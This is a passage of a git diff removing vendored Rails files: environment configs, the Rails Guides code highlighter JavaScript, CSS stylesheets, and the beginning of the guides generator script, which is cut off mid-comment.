-  # :all can be used as a placeholder for all plugins not explicitly named
-  # config.plugins = [ :exception_notification, :ssl_requirement, :all ]
-
-  # Skip frameworks you're not going to use. To use Rails without a database,
-  # you must remove the Active Record framework.
-  # config.frameworks -= [ :active_record, :active_resource, :action_mailer ]
-
-  # Activate observers that should always be running
-  # config.active_record.observers = :cacher, :garbage_collector, :forum_observer
-
-  # Set Time.zone default to the specified zone and make Active Record auto-convert to this zone.
-  # Run "rake -D time" for a list of tasks for finding time zone names.
-  config.time_zone = 'UTC'
-
-  # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
-  # config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}')]
-  # config.i18n.default_locale = :de
-end
\ No newline at end of file
diff --git a/vendor/rails/railties/environments/production.rb b/vendor/rails/railties/environments/production.rb
deleted file mode 100644
index 27119d2d..00000000
--- a/vendor/rails/railties/environments/production.rb
+++ /dev/null
@@ -1,28 +0,0 @@
-# Settings specified here will take precedence over those in config/environment.rb
-
-# The production environment is meant for finished, "live" apps.
-# Code is not reloaded between requests
-config.cache_classes = true
-
-# Full error reports are disabled and caching is turned on
-config.action_controller.consider_all_requests_local = false
-config.action_controller.perform_caching             = true
-config.action_view.cache_template_loading            = true
-
-# See everything in the log (default is :info)
-# config.log_level = :debug
-
-# Use a different logger for distributed setups
-# config.logger = SyslogLogger.new
-
-# Use a different cache store in production
-# config.cache_store = :mem_cache_store
-
-# Enable serving of images, stylesheets, and javascripts from an asset server
-# config.action_controller.asset_host = "http://assets.example.com"
-
-# Disable delivery errors, bad email addresses will be ignored
-# config.action_mailer.raise_delivery_errors = false
-
-# Enable threaded mode
-# config.threadsafe!
\ No newline at end of file
diff --git a/vendor/rails/railties/environments/test.rb b/vendor/rails/railties/environments/test.rb
deleted file mode 100644
index d6f80a40..00000000
--- a/vendor/rails/railties/environments/test.rb
+++ /dev/null
@@ -1,28 +0,0 @@
-# Settings specified here will take precedence over those in config/environment.rb
-
-# The test environment is used exclusively to run your application's
-# test suite.  You never need to work with it otherwise.  Remember that
-# your test database is "scratch space" for the test suite and is wiped
-# and recreated between test runs.  Don't rely on the data there!
-config.cache_classes = true
-
-# Log error messages when you accidentally call methods on nil.
-config.whiny_nils = true
-
-# Show full error reports and disable caching
-config.action_controller.consider_all_requests_local = true
-config.action_controller.perform_caching             = false
-config.action_view.cache_template_loading            = true
-
-# Disable request forgery protection in test environment
-config.action_controller.allow_forgery_protection    = false
-
-# Tell Action Mailer not to deliver emails to the real world.
-# The :test delivery method accumulates sent emails in the
-# ActionMailer::Base.deliveries array.
-config.action_mailer.delivery_method = :test
-
-# Use SQL instead of Active Record's schema dumper when creating the test database.
-# This is necessary if your schema can't be completely dumped by the schema dumper,
-# like if you have constraints or database-specific column types
-# config.active_record.schema_format = :sql
\ No newline at end of file
diff --git a/vendor/rails/railties/fresh_rakefile b/vendor/rails/railties/fresh_rakefile
deleted file mode 100755
index 3bb0e859..00000000
--- a/vendor/rails/railties/fresh_rakefile
+++ /dev/null
@@ -1,10 +0,0 @@
-# Add your own tasks in files placed in lib/tasks ending in .rake,
-# for example lib/tasks/capistrano.rake, and they will automatically be available to Rake.
-
-require(File.join(File.dirname(__FILE__), 'config', 'boot'))
-
-require 'rake'
-require 'rake/testtask'
-require 'rake/rdoctask'
-
-require 'tasks/rails'
diff --git a/vendor/rails/railties/guides/files/javascripts/code_highlighter.js b/vendor/rails/railties/guides/files/javascripts/code_highlighter.js
deleted file mode 100755
index ce983dad..00000000
--- a/vendor/rails/railties/guides/files/javascripts/code_highlighter.js
+++ /dev/null
@@ -1,188 +0,0 @@
-/* Unobtrustive Code Highlighter By Dan Webb 11/2005
-   Version: 0.4
-
-	Usage:
-		Add a script tag for this script and any stylesets you need to use
-		to the page in question, add correct class names to CODE elements,
-		define CSS styles for elements. That's it!
-
-	Known to work on:
-		IE 5.5+ PC
-		Firefox/Mozilla PC/Mac
-		Opera 7.23 + PC
-		Safari 2
-
-	Known to degrade gracefully on:
-		IE5.0 PC
-
-	Note: IE5.0 fails due to the use of lookahead in some stylesets.  To avoid script errors
-	in older browsers use expressions that use lookahead in string format when defining stylesets.
-
-	This script is inspired by star-light by entirely cunning Dean Edwards
-	http://dean.edwards.name/star-light/.
-*/
-
-// replace callback support for safari.
-if ("a".replace(/a/, function() {return "b"}) != "b") (function(){
-  var default_replace = String.prototype.replace;
-  String.prototype.replace = function(search,replace){
-	// replace is not function
-	if(typeof replace != "function"){
-		return default_replace.apply(this,arguments)
-	}
-	var str = "" + this;
-	var callback = replace;
-	// search string is not RegExp
-	if(!(search instanceof RegExp)){
-		var idx = str.indexOf(search);
-		return (
-			idx == -1 ? str :
-			default_replace.apply(str,[search,callback(search, idx, str)])
-		)
-	}
-	var reg = search;
-	var result = [];
-	var lastidx = reg.lastIndex;
-	var re;
-	while((re = reg.exec(str)) != null){
-		var idx  = re.index;
-		var args = re.concat(idx, str);
-		result.push(
-			str.slice(lastidx,idx),
-			callback.apply(null,args).toString()
-		);
-		if(!reg.global){
-			lastidx += RegExp.lastMatch.length;
-			break
-		}else{
-			lastidx = reg.lastIndex;
-		}
-	}
-	result.push(str.slice(lastidx));
-	return result.join("")
-  }
-})();
-
-var CodeHighlighter = { styleSets : new Array };
-
-CodeHighlighter.addStyle = function(name, rules) {
-	// using push test to disallow older browsers from adding styleSets
-	if ([].push) this.styleSets.push({
-		name : name,
-		rules : rules,
-		ignoreCase : arguments[2] || false
-	})
-
-	function setEvent() {
-		// set highlighter to run on load (use LowPro if present)
-		if (typeof Event != 'undefined' && typeof Event.onReady == 'function')
-		  return Event.onReady(CodeHighlighter.init.bind(CodeHighlighter));
-
-		var old = window.onload;
-
-		if (typeof window.onload != 'function') {
-			window.onload = function() { CodeHighlighter.init() };
-		} else {
-			window.onload = function() {
-				old();
-				CodeHighlighter.init();
-			}
-		}
-	}
-
-	// only set the event when the first style is added
-	if (this.styleSets.length==1) setEvent();
-}
-
-CodeHighlighter.init = function() {
-	if (!document.getElementsByTagName) return;
-	if ("a".replace(/a/, function() {return "b"}) != "b") return; // throw out Safari versions that don't support replace function
-	// throw out older browsers
-
-	var codeEls = document.getElementsByTagName("CODE");
-	// collect array of all pre elements
-	codeEls.filter = function(f) {
-		var a =  new Array;
-		for (var i = 0; i < this.length; i++) if (f(this[i])) a[a.length] = this[i];
-		return a;
-	}
-
-	var rules = new Array;
-	rules.toString = function() {
-		// joins regexes into one big parallel regex
-		var exps = new Array;
-		for (var i = 0; i < this.length; i++) exps.push(this[i].exp);
-		return exps.join("|");
-	}
-
-	function addRule(className, rule) {
-		// add a replace rule
-		var exp = (typeof rule.exp != "string")?String(rule.exp).substr(1, String(rule.exp).length-2):rule.exp;
-		// converts regex rules to strings and chops of the slashes
-		rules.push({
-			className : className,
-			exp : "(" + exp + ")",
-			length : (exp.match(/(^|[^\\])\([^?]/g) || "").length + 1, // number of subexps in rule
-			replacement : rule.replacement || null
-		});
-	}
-
-	function parse(text, ignoreCase) {
-		// main text parsing and replacement
-		return text.replace(new RegExp(rules, (ignoreCase)?"gi":"g"), function() {
-			var i = 0, j = 1, rule;
-			while (rule = rules[i++]) {
-				if (arguments[j]) {
-					// if no custom replacement defined do the simple replacement
-					if (!rule.replacement) return "<span class=\"" + rule.className + "\">" + arguments[0] + "</span>";
-					else {
-						// replace $0 with the className then do normal replaces
-						var str = rule.replacement.replace("$0", rule.className);
-						for (var k = 1; k <= rule.length - 1; k++) str = str.replace("$" + k, arguments[j + k]);
-						return str;
-					}
-				} else j+= rule.length;
-			}
-		});
-	}
-
-	function highlightCode(styleSet) {
-		// clear rules array
-		var parsed, clsRx = new RegExp("(\\s|^)" + styleSet.name + "(\\s|$)");
-		rules.length = 0;
-
-		// get stylable elements by filtering out all code elements without the correct className
-		var stylableEls = codeEls.filter(function(item) { return clsRx.test(item.className) });
-
-		// add style rules to parser
-		for (var className in styleSet.rules) addRule(className, styleSet.rules[className]);
-
-
-		// replace for all elements
-		for (var i = 0; i < stylableEls.length; i++) {
-			// EVIL hack to fix IE whitespace badness if it's inside a <pre>
-			if (/MSIE/.test(navigator.appVersion) && stylableEls[i].parentNode.nodeName == 'PRE') {
-				stylableEls[i] = stylableEls[i].parentNode;
-
-				parsed = stylableEls[i].innerHTML.replace(/(<code[^>]*>)([^<]*)<\/code>/i, function() {
-					return arguments[1] + parse(arguments[2], styleSet.ignoreCase) + "</code>"
-				});
-				parsed = parsed.replace(/\n( *)/g, function() {
-					var spaces = "";
-					for (var i = 0; i < arguments[1].length; i++) spaces+= "&nbsp;";
-					return "\n" + spaces;
-				});
-				parsed = parsed.replace(/\t/g, "&nbsp;&nbsp;&nbsp;&nbsp;");
-				parsed = parsed.replace(/\n(<\/\w+>)?/g, "<br />$1").replace(/<br \/>[\n\r\s]*<br \/>/g, "<p><br></p>");
-
-			} else parsed = parse(stylableEls[i].innerHTML, styleSet.ignoreCase);
-
-			stylableEls[i].innerHTML = parsed;
-		}
-	}
-
-	// run highlighter on all stylesets
-	for (var i=0; i < this.styleSets.length; i++) {
-		highlightCode(this.styleSets[i]);
-	}
-}
diff --git a/vendor/rails/railties/guides/files/javascripts/guides.js b/vendor/rails/railties/guides/files/javascripts/guides.js
deleted file mode 100755
index 81fc07e7..00000000
--- a/vendor/rails/railties/guides/files/javascripts/guides.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function guideMenu(){
-
-  if (document.getElementById('guides').style.display == "none") {
-    document.getElementById('guides').style.display = "block";
-  } else {
-    document.getElementById('guides').style.display = "none";
-  }
-}
diff --git a/vendor/rails/railties/guides/files/javascripts/highlighters.js b/vendor/rails/railties/guides/files/javascripts/highlighters.js
deleted file mode 100644
index 4f5f0779..00000000
--- a/vendor/rails/railties/guides/files/javascripts/highlighters.js
+++ /dev/null
@@ -1,90 +0,0 @@
-CodeHighlighter.addStyle("css", {
-	comment : {
-		exp  : /\/\*[^*]*\*+([^\/][^*]*\*+)*\//
-	},
-	keywords : {
-		exp  : /@\w[\w\s]*/
-	},
-	selectors : {
-		exp  : "([\\w-:\\[.#][^{};>]*)(?={)"
-	},
-	properties : {
-		exp  : "([\\w-]+)(?=\\s*:)"
-	},
-	units : {
-		exp  : /([0-9])(em|en|px|%|pt)\b/,
-		replacement : "$1<span class=\"$0\">$2</span>"
-	},
-	urls : {
-		exp  : /url\([^\)]*\)/
-	}
- });
-
-CodeHighlighter.addStyle("ruby",{
-	comment : {
-		exp  : /#[^\n]+/
-	},
-	brackets : {
-		exp  : /\(|\)/
-	},
-	string : {
-		exp  : /'[^']*'|"[^"]*"/
-	},
-	keywords : {
-		exp  : /\b(do|end|self|class|def|if|module|yield|then|else|for|until|unless|while|elsif|case|when|break|retry|redo|rescue|require|raise)\b/
-	},
-	/* Added by Shelly Fisher (shelly@agileevolved.com) */
-	symbol : {
-	  exp : /([^:])(:[A-Za-z0-9_!?]+)/
-	},
-	ivar : {
-	  exp : /\@[A-Za-z0-9_!?]+/
-	}
-});
-
-CodeHighlighter.addStyle("html", {
-	comment : {
-		exp: /&lt;!\s*(--([^-]|[\r\n]|-[^-])*--\s*)&gt;/
-	},
-	tag : {
-		exp: /(&lt;\/?)([a-zA-Z1-9]+\s?)/,
-		replacement: "$1<span class=\"$0\">$2</span>"
-	},
-	string : {
-		exp  : /'[^']*'|"[^"]*"/
-	},
-	attribute : {
-		exp: /\b([a-zA-Z-:]+)(=)/,
-		replacement: "<span class=\"$0\">$1</span>$2"
-	},
-	doctype : {
-		exp: /&lt;!DOCTYPE([^&]|&[^g]|&g[^t])*&gt;/
-	}
-});
-
-CodeHighlighter.addStyle("javascript",{
-	comment : {
-		exp  : /(\/\/[^\n]*(\n|$))|(\/\*[^*]*\*+([^\/][^*]*\*+)*\/)/
-	},
-	brackets : {
-		exp  : /\(|\)/
-	},
-	string : {
-		exp  : /'[^']*'|"[^"]*"/
-	},
-	keywords : {
-		exp  : /\b(arguments|break|case|continue|default|delete|do|else|false|for|function|if|in|instanceof|new|null|return|switch|this|true|typeof|var|void|while|with)\b/
-	},
-	global : {
-		exp  : /\b(toString|valueOf|window|element|prototype|constructor|document|escape|unescape|parseInt|parseFloat|setTimeout|clearTimeout|setInterval|clearInterval|NaN|isNaN|Infinity)\b/
-	}
-});
-
-CodeHighlighter.addStyle("yaml", {
-	keyword : {
-		exp  : /\/\*[^*]*\*+([^\/][^*]*\*+)*\//
-	},
-	value : {
-		exp  : /@\w[\w\s]*/
-	},
-});
diff --git a/vendor/rails/railties/guides/files/stylesheets/main.css b/vendor/rails/railties/guides/files/stylesheets/main.css
deleted file mode 100644
index d377628d..00000000
--- a/vendor/rails/railties/guides/files/stylesheets/main.css
+++ /dev/null
@@ -1,441 +0,0 @@
-/* Guides.rubyonrails.org */
-/* Main.css */
-/* Created January 30, 2009 */
-/* Modified February 8, 2009
---------------------------------------- */
-
-/* General
---------------------------------------- */
-
-.left {float: left; margin-right: 1em;}
-.right {float: right; margin-left: 1em;}
-.small {font-size: smaller;}
-.large {font-size: larger;}
-.hide {display: none;}
-
-li ul, li ol { margin:0 1.5em; }
-ul, ol { margin: 0 1.5em 1.5em 1.5em; }
-
-ul { list-style-type: disc; }
-ol { list-style-type: decimal; }
-
-dl { margin: 0 0 1.5em 0; }
-dl dt { font-weight: bold; }
-dd { margin-left: 1.5em;}
-	
-pre,code { margin: 1.5em 0; white-space: pre; overflow: auto; }
-pre,code,tt { font: 1em 'andale mono', 'lucida console', monospace; line-height: 1.5; }
-
-abbr, acronym { border-bottom: 1px dotted #666; }
-address { margin: 0 0 1.5em; font-style: italic; }
-del { color:#666; }
-
-blockquote { margin: 1.5em; color: #666; font-style: italic; }
-strong { font-weight: bold; }
-em, dfn { font-style: italic; }
-dfn { font-weight: bold; }
-sup, sub { line-height: 0; }
-p {margin: 0 0 1.5em;}
-
-label { font-weight: bold; }
-fieldset { padding:1.4em; margin: 0 0 1.5em 0; border: 1px solid #ccc; }
-legend { font-weight: bold; font-size:1.2em; }
-
-input.text, input.title,
-textarea, select {
-  margin:0.5em 0;
-  border:1px solid #bbb;
-}
-
-table {
-	margin: 0 0 1.5em;
-	border: 2px solid #CCC;
-	background: #FFF;
-	border-collapse: collapse;
-}
- 
-table th, table td {
-	padding: 0.25em 1em;
-	border: 1px solid #CCC;
-	border-collapse: collapse;
-}
-
-table th {
-	border-bottom: 2px solid #CCC;
-	background: #EEE;
-	font-weight: bold;
-	padding: 0.5em 1em;
-}
-
-
-/* Structure and Layout
---------------------------------------- */
-
-body {
-	text-align: center;
-	font-family: Helvetica, Arial, sans-serif;
-	font-size: 87.5%;
-	line-height: 1.5em;
-	background: #222;	
-	color: #999;
-	}
-
-.wrapper {
-	text-align: left;
-	margin: 0 auto;
-	width: 69em;
-	}
-
-#topNav {
-	padding: 1em 0;
-	color: #565656;
-}
-
-#header {
-	background: #c52f24 url(../../images/header_tile.gif) repeat-x;
-	color: #FFF;
-	padding: 1.5em 0;
-	position: relative;
-	z-index: 99;
-	}
-
-#feature {
-	background: #d5e9f6 url(../../images/feature_tile.gif) repeat-x;
-	color: #333;
-	padding: 0.5em 0 1.5em;
-}
-
-#container {
-	background: #FFF;
-	color: #333;
-	padding: 0.5em 0 1.5em 0;
-	}
-
-#mainCol {
-	width: 45em;
-	margin-left: 2em;
-	}	
-
-#subCol {
-	position: absolute;
-	z-index: 0;
-	top: 0;
-	right: 0;
-	background: #FFF;
-	padding: 1em 1.5em 1em 1.25em;
-	width: 17em;
-	font-size: 0.9285em;
-	line-height: 1.3846em;
-	}
-	
-#extraCol {display: none;}
-
-#footer {
-	padding: 2em 0;
-	background: url(../../images/footer_tile.gif) repeat-x;
-	}
-#footer .wrapper {
-	padding-left: 2em;
-	width: 67em;
-}
-
-#header .wrapper, #topNav .wrapper, #feature .wrapper {padding-left: 1em; width: 68em;}
-#feature .wrapper {width: 45em; padding-right: 23em; position: relative; z-index: 0;}
-
-/* Links
---------------------------------------- */
-
-a, a:link, a:visited {
-	color: #ee3f3f;
-	text-decoration: underline;
-	}
-
-#mainCol a, #subCol a, #feature a {color: #980905;}
-
-
-/* Navigation
---------------------------------------- */
-
-.nav {margin: 0; padding: 0;}
-.nav li {display: inline; list-style: none;}
-
-#header .nav {
-	float: right;
-	margin-top: 1.5em;
-	font-size: 1.2857em;
-}
-
-#header .nav li {margin: 0 0 0 0.5em;}
-#header .nav a {color: #FFF; text-decoration: none;}
-#header .nav a:hover {text-decoration: underline;}
-
-#header .nav .index {
-	padding: 0.5em 1.5em;
-	border-radius: 1em;
-	-webkit-border-radius: 1em;
-	-moz-border-radius: 1em;
-	background: #980905;
-	position: relative;
-}
-
-#header .nav .index a {
-	background: #980905 url(../../images/nav_arrow.gif) no-repeat right top;
-	padding-right: 1em;	
-	position: relative;
-	z-index: 15;
-	padding-bottom: 0.125em;
-}
-#header .nav .index:hover a, #header .nav .index a:hover {background-position: right -81px;}
-
-#guides {
-	width: 27em;
-	display: block;
-	background: #980905;
-	border-radius: 1em;
-	-webkit-border-radius: 1em;
-	-moz-border-radius: 1em;
-	-webkit-box-shadow: 0.25em 0.25em 1em rgba(0,0,0,0.25);
-	-moz-box-shadow: rgba(0,0,0,0.25) 0.25em 0.25em 1em;
-	color: #f1938c;
-	padding: 1.5em 2em;
-	position: absolute;
-	z-index: 10;
-	top: -0.25em;
-	right: 0;
-	padding-top: 2em;
-}
-
-#guides dt, #guides dd {
-	font-weight: normal;
-	font-size: 0.722em;
-	margin: 0;
-	padding: 0;
-}
-#guides dt {padding:0; margin: 0.5em 0 0;}
-#guides a {color: #FFF; background: none !important;}
-#guides .L, #guides .R {float: left; width: 50%; margin: 0; padding: 0;}
-#guides .R {float: right;}
-#guides hr {
-	display: block;
-	border: none;
-	height: 1px;
-	color: #f1938c;
-	background: #f1938c;
-}
-
-/* Headings
---------------------------------------- */
-
-h1 {
-	font-size: 2.5em;
-	line-height: 1em;
-	margin: 0.6em 0 .2em;
-	font-weight: bold;
-	}
-
-h2 {
-	font-size: 2.1428em;
-	line-height: 1em;
-	margin: 0.7em 0 .2333em;
-	font-weight: bold;
-	}
-
-h3 {
-	font-size: 1.7142em;
-	line-height: 1.286em;
-	margin: 0.875em 0 0.2916em;
-	font-weight: bold;
-	}
-	
-h4 {
-	font-size: 1.2857em;
-	line-height: 1.2em;
-	margin: 1.6667em 0 .3887em;
-	font-weight: bold;
-	}
-
-h5 {
-	font-size: 1em;
-	line-height: 1.5em;
-	margin: 1em 0 .5em;
-	font-weight: bold;
-}
-
-h6 {	
-	font-size: 1em;
-	line-height: 1.5em;
-	margin: 1em 0 .5em;
-	font-weight: normal;
-	}
-
-.section {
-	padding-bottom: 0.25em;
-	border-bottom: 1px solid #999;
-}
-
-/* Content
---------------------------------------- */
-
-.pic {
-	margin: 0 2em 2em 0;
-}
-
-#topNav strong {color: #999; margin-right: 0.5em;}
-#topNav strong a {color: #FFF;}
-
-#header h1 {
-	float: left;
-	background: url(../../images/rails_guides_logo.gif) no-repeat;
-	width: 297px;
-	text-indent: -9999em;
-	margin: 0;
-	padding: 0;
-}
-
-#header h1 a {
-	text-decoration: none;
-	display: block;
-	height: 77px;
-}
-
-#feature p {
-	font-size: 1.2857em;
-	margin-bottom: 0.75em;
-}
-
-#feature ul {margin-left: 0;}
-#feature ul li {
-	list-style: none;
-	background: url(../../images/check_bullet.gif) no-repeat left 0.5em;
-	padding: 0.5em 1.75em 0.5em 1.75em;
-	font-size: 1.1428em;
-	font-weight: bold;
-}
-
-#mainCol dd, #subCol dd {
-	padding: 0.25em 0 1em;
-	border-bottom: 1px solid #CCC;
-	margin-bottom: 1em;
-	margin-left: 0;
-	/*padding-left: 28px;*/
-	padding-left: 0;
-}
-
-#mainCol dt, #subCol dt {
-	font-size: 1.2857em;
-	padding: 0.125em 0 0.25em 0;
-	margin-bottom: 0;
-	/*background: url(../../images/book_icon.gif) no-repeat left top;
-	padding: 0.125em 0 0.25em 28px;*/
-}
-
-#mainCol dd.ticket, #subCol dd.ticket {
-	background: #fff9d8 url(../../images/tab_yellow.gif) no-repeat left top;
-	border: none;
-	padding: 1.25em 1em 1.25em 48px;
-	margin-left: 0;
-	margin-top: 0.25em;
-}
-
-#mainCol div.warning, #subCol dd.warning {
-	background: #f9d9d8 url(../../images/tab_red.gif) no-repeat left top;
-	border: none;
-	padding: 1.25em 1.25em 1.25em 48px;
-	margin-left: 0;
-	margin-top: 0.25em;
-}
-
-#subCol .chapters {color: #980905;}
-#subCol .chapters a {font-weight: bold;}
-#subCol .chapters ul a {font-weight: normal;}
-#subCol .chapters li {margin-bottom: 0.75em;}
-#subCol h3.chapter {margin-top: 0.25em;}
-#subCol h3.chapter img {vertical-align: text-bottom;}
-#subCol .chapters ul {margin-left: 0; margin-top: 0.5em;}
-#subCol .chapters ul li {
-	list-style: none;
-	padding: 0 0 0 1em;
-	background: url(../../images/bullet.gif) no-repeat left 0.45em;
-	margin-left: 0;
-	font-size: 1em;
-	font-weight: normal;
-}
-
-tt {
-	font-family: monaco, "Bitstream Vera Sans Mono", "Courier New", courier, monospace;
-}
-
-div.code_container {
-	background: #EEE url(../../images/tab_grey.gif) no-repeat left top;
-	padding: 0.25em 1em 0.5em 48px;    
-}
-
-code {
-	font-family: monaco, "Bitstream Vera Sans Mono", "Courier New", courier, monospace;
-	border: none;
-	margin: 0.25em 0 1.5em 0;
-	display: block;
-}
-
-.note {
-	background: #fff9d8 url(../../images/tab_note.gif) no-repeat left top;
-	border: none;
-	padding: 1em 1em 0.25em 48px;
-	margin: 0.25em 0 1.5em 0;
-}
-
-.info {
-	background: #d5e9f6 url(../../images/tab_info.gif) no-repeat left top;
-	border: none;
-	padding: 1em 1em 0.25em 48px;
-	margin: 0.25em 0 1.5em 0;
-}
-
-.note tt, .info tt {border:none; background: none; padding: 0;}
-
-#mainCol ul li {
-	list-style:none;
-	background: url(../../images/grey_bullet.gif) no-repeat left 0.5em;
-	padding-left: 1em;
-	margin-left: 0;
-}
-
-#subCol .content {
-	font-size: 0.7857em;
-	line-height: 1.5em;
-}
-
-#subCol .content li {
-	font-weight: normal;
-	background: none;
-	padding: 0 0 1em;
-	font-size: 1.1667em;
-}
-	
-/* Clearing
---------------------------------------- */
-
-.clearfix:after {
-    content: "."; 
-    display: block; 
-    height: 0; 
-    clear: both; 
-    visibility: hidden;
-}
-
-.clearfix {display: inline-block;}
-* html .clearfix {height: 1%;}
-.clearfix {display: block;}
-.clear { clear:both; }
-
-/* Same bottom margin for special boxes than for regular paragraphs, this way
-intermediate whitespace looks uniform. */
-div.code_container, div.important, div.caution, div.warning, div.note, div.info {
-    margin-bottom: 1.5em;
-}
-
-/* Remove bottom margin of paragraphs in special boxes, otherwise they get a
-spurious blank area below with the box background. */
-div.important p, div.caution p, div.warning p, div.note p, div.info p {
-    margin-bottom: 0px;
-}
diff --git a/vendor/rails/railties/guides/files/stylesheets/print.css b/vendor/rails/railties/guides/files/stylesheets/print.css
deleted file mode 100755
index 628da105..00000000
--- a/vendor/rails/railties/guides/files/stylesheets/print.css
+++ /dev/null
@@ -1,52 +0,0 @@
-/* Guides.rubyonrails.org */
-/* Print.css */
-/* Created January 30, 2009 */
-/* Modified January 31, 2009
---------------------------------------- */
-
-body, .wrapper, .note, .info, code, #topNav, .L, .R, #frame, #container, #header, #navigation, #footer, #feature, #mainCol, #subCol, #extraCol, .content {position: static; text-align: left; text-indent: 0; background: White; color: Black; border-color: Black; width: auto; height: auto; display: block; float: none; min-height: 0; margin: 0; padding: 0;}
-
-body {
-  background: #FFF;
-  font-size: 10pt !important;
-  font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
-  line-height: 1.5;
-  color: #000;
-  padding: 0 3%;
-  }
-
-.hide, .nav {
-  display: none !important;
-  }
-
-a:link, a:visited {
-  background: transparent;
-  font-weight: bold;
-  text-decoration: underline;
-  }
-
-hr {
-  background:#ccc;
-  color:#ccc;
-  width:100%;
-  height:2px;
-  margin:2em 0;
-  padding:0;
-  border:none;
-}
-
-h1,h2,h3,h4,h5,h6 { font-family: "Helvetica Neue", Arial, "Lucida Grande", sans-serif; }
-code { font:.9em "Courier New", Monaco, Courier, monospace; }
-
-img { float:left; margin:1.5em 1.5em 1.5em 0; }
-a img { border:none; }
-
-blockquote {
-  margin:1.5em;
-  padding:1em;
-  font-style:italic;
-  font-size:.9em;
-}
-
-.small  { font-size: .9em; }
-.large  { font-size: 1.1em; }
diff --git a/vendor/rails/railties/guides/files/stylesheets/reset.css b/vendor/rails/railties/guides/files/stylesheets/reset.css
deleted file mode 100755
index cb14fbcc..00000000
--- a/vendor/rails/railties/guides/files/stylesheets/reset.css
+++ /dev/null
@@ -1,43 +0,0 @@
-/* Guides.rubyonrails.org */
-/* Reset.css */
-/* Created January 30, 2009
---------------------------------------- */
-
-html, body, div, span, applet, object, iframe,
-h1, h2, h3, h4, h5, h6, p, blockquote, pre,
-a, abbr, acronym, address, big, cite, code,
-del, dfn, em, font, img, ins, kbd, q, s, samp,
-small, strike, strong, sub, sup, tt, var,
-b, u, i, center,
-dl, dt, dd, ol, ul, li,
-fieldset, form, label, legend,
-table, caption, tbody, tfoot, thead, tr, th, td {
-  margin: 0;
-  padding: 0;
-  border: 0;
-  outline: 0;
-  font-size: 100%;
-  background: transparent;
-}
-
-body {line-height: 1; color: black; background: white;}
-a img {border:none;}
-ins {text-decoration: none;}
-del {text-decoration: line-through;}
-
-:focus {
-  -moz-outline:0;
-  outline:0;
-  outline-offset:0;
-}
-
-/* tables still need 'cellspacing="0"' in the markup */
-table {border-collapse: collapse; border-spacing: 0;}
-caption, th, td {text-align: left; font-weight: normal;}
-
-blockquote, q {quotes: none;}
-blockquote:before, blockquote:after,
-q:before, q:after {
-  content: '';
-  content: none;
-}
diff --git a/vendor/rails/railties/guides/files/stylesheets/style.css b/vendor/rails/railties/guides/files/stylesheets/style.css
deleted file mode 100755
index 89b2ab88..00000000
--- a/vendor/rails/railties/guides/files/stylesheets/style.css
+++ /dev/null
@@ -1,13 +0,0 @@
-/* Guides.rubyonrails.org */
-/* Style.css */
-/* Created January 30, 2009
---------------------------------------- */
-
-/*
----------------------------------------
-Import advanced style sheet
----------------------------------------
-*/
-
-@import url("reset.css");
-@import url("main.css");
diff --git a/vendor/rails/railties/guides/files/stylesheets/syntax.css b/vendor/rails/railties/guides/files/stylesheets/syntax.css
deleted file mode 100644
index 55fc5b20..00000000
--- a/vendor/rails/railties/guides/files/stylesheets/syntax.css
+++ /dev/null
@@ -1,31 +0,0 @@
-.html .tag {
-	color : green;
-}
-
-.html .doctype {
-  color: #708090;
-}
-
-.erb .tag {
-	color : green;
-}
-
-.erb .doctype {
-  color: #708090;
-}
-
-.ruby .keywords {
-  color : red;
-}
-
-.ruby .ivar {
-  color : blue;
-}
-
-.ruby .comment {
-  color: #708090;
-}
-
-.ruby .symbol {
- color: green;
-}
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diff --git a/vendor/rails/railties/guides/images/i18n/demo_untranslated.png b/vendor/rails/railties/guides/images/i18n/demo_untranslated.png
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diff --git a/vendor/rails/railties/guides/images/icons/README b/vendor/rails/railties/guides/images/icons/README
deleted file mode 100644
index f12b2a73..00000000
--- a/vendor/rails/railties/guides/images/icons/README
+++ /dev/null
@@ -1,5 +0,0 @@
-Replaced the plain DocBook XSL admonition icons with Jimmac's DocBook
-icons (http://jimmac.musichall.cz/ikony.php3). I dropped transparency
-from the Jimmac icons to get round MS IE and FOP PNG incompatibilies.
-
-Stuart Rackham
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diff --git a/vendor/rails/railties/guides/rails_guides.rb b/vendor/rails/railties/guides/rails_guides.rb
deleted file mode 100644
index 90bf7502..00000000
--- a/vendor/rails/railties/guides/rails_guides.rb
+++ /dev/null
@@ -1,31 +0,0 @@
-pwd = File.dirname(__FILE__)
-$:.unshift pwd
-
-# Loading Action Pack requires rack and erubis.
-require 'rubygems'
-
-begin
-  # Guides generation in the Rails repo.
-  as_lib = File.join(pwd, "../../activesupport/lib")
-  ap_lib = File.join(pwd, "../../actionpack/lib")
-
-  $:.unshift as_lib if File.directory?(as_lib)
-  $:.unshift ap_lib if File.directory?(ap_lib)
-rescue LoadError
-  # Guides generation from gems.
-  gem "actionpack", '>= 2.3'
-end
-
-begin
-  gem 'RedCloth', '>= 4.1.1'
-  require 'redcloth'
-rescue Gem::LoadError
-  $stderr.puts('Generating guides requires RedCloth 4.1.1+.')
-  exit 1
-end
-
-require "rails_guides/textile_extensions"
-RedCloth.send(:include, RailsGuides::TextileExtensions)
-
-require "rails_guides/generator"
-RailsGuides::Generator.new.generate
diff --git a/vendor/rails/railties/guides/rails_guides/generator.rb b/vendor/rails/railties/guides/rails_guides/generator.rb
deleted file mode 100644
index 9f59b6b6..00000000
--- a/vendor/rails/railties/guides/rails_guides/generator.rb
+++ /dev/null
@@ -1,258 +0,0 @@
-# ---------------------------------------------------------------------------
-#
-# This script generates the guides. It can be invoked either directly or via the
-# generate_guides rake task within the railties directory.
-#
-# Guides are taken from the source directory, and the resulting HTML goes into the
-# output directory. Assets are stored under files, and copied to output/files as
-# part of the generation process.
-#
-# Some arguments may be passed via environment variables:
-#
-#   WARNINGS
-#     If you are writing a guide, please work always with WARNINGS=1. Users can
-#     generate the guides, and thus this flag is off by default.
-#
-#     Internal links (anchors) are checked. If a reference is broken levenshtein
-#     distance is used to suggest an existing one. This is useful since IDs are
-#     generated by Textile from headers and thus edits alter them.
-#
-#     Also detects duplicated IDs. They happen if there are headers with the same
-#     text. Please do resolve them, if any, so guides are valid XHTML.
-#
-#   ALL
-#    Set to "1" to force the generation of all guides.
-#
-#   ONLY
-#     Use ONLY if you want to generate only one or a set of guides. Prefixes are
-#     enough:
-#
-#       # generates only association_basics.html
-#       ONLY=assoc ruby rails_guides.rb
-#
